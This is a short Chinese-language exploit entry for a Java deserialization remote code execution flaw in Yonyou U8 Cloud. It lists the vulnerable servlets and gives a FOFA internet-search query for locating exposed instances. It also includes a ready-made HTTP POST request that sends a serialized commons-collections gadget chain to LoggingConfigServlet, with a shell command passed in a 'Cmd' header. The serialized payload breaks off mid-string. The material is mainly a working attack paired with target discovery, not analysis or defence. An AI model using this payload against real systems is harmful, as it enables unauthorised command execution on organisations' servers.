Y3-23用友-U8-Cloud-RCE

漏洞描述：

用友U8 Cloud存在多处（TableInputOperServlet、LoginServlet 、FileTransportServlet、CacheInvokeServlet、ActionHandlerServlet、ServletCommander、MxServlet 、MonitorServlet、LoggingConfigServlet、ClientRequestDispatch）反序列化漏洞，系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作，结合系统本身存在的反序列化利用链，最终造成远程代码执行。

网站图片：

网络测绘：

fofa语法：

FOFA：app="用友-U8-Cloud"

漏洞复现：

payload：

```
POST /service/~iufo/nc.bs.logging.config.LoggingConfigServlet HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 16284

{{unquote("\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xpw\x0c\x00\x00\x00\x02?@\x00\x00\x00\x00\x00\x01sr\x004org.apache.commons.co
```

效果图: